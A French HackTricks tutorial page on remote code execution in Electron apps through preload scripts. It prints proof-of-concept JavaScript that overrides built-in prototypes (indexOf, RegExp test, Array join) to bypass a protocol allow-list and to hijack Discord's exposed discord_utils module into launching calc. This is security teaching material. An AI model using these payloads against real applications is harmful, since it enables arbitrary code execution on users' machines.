Electron contextIsolation RCE via preload code
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
Exemple 1
Ce code ouvre des liens http(s) avec le navigateur par défaut :
.png)
Quelque chose comme file:///C:/Windows/systemd32/calc.exe pourrait être utilisé pour exécuter un calc, le SAFE_PROTOCOLS.indexOf l’en empêche.
Par conséquent, un attaquant pourrait injecter ce code JS via le XSS ou la navigation sur une page arbitraire :
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
Comme l’appel à SAFE_PROTOCOLS.indexOf renverra toujours 1337, l’attaquant peut contourner la protection et exécuter le calc. Exploit final :
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Vérifiez les diapositives originales pour d’autres façons d’exécuter des programmes sans avoir une invite demandant des autorisations.
Apparemment, une autre façon de charger et d’exécuter du code est d’accéder à quelque chose comme file://127.0.0.1/electron/rce.jar
Exemple 2 : RCE de l’application Discord
Exemple de https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
En vérifiant les scripts de préchargement, j’ai découvert que Discord expose la fonction, qui permet à certains modules autorisés d’être appelés via DiscordNative.nativeModules.requireModule('MODULE-NAME'), dans la page web.
Ici, je n’ai pas pu utiliser des modules qui peuvent être utilisés pour RCE directement, comme le module child_process, mais j’ai trouvé un code où RCE peut être atteint en remplaçant les méthodes intégrées JavaScript et en interférant avec l’exécution du module exposé.
Ce qui suit est le PoC. J’ai pu confirmer que l’application calc est affichée lorsque j’appelle la fonction getGPUDriverVersions qui est définie dans le module appelé “discord_utils” depuis devTools, tout en remplaçant RegExp.prototype.test et Array.prototype.join.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
La fonction getGPUDriverVersions essaie d’exécuter le programme en utilisant la bibliothèque “execa”, comme suit :
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
Habituellement, le execa essaie d’exécuter “nvidia-smi.exe”, qui est spécifié dans la variable nvidiaSmiPath, cependant, en raison de la méthode RegExp.prototype.test et de Array.prototype.join remplacées, l’argument est remplacé par “calc” dans le traitement interne de _execa_**.
Plus précisément, l’argument est remplacé en modifiant les deux parties suivantes.
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


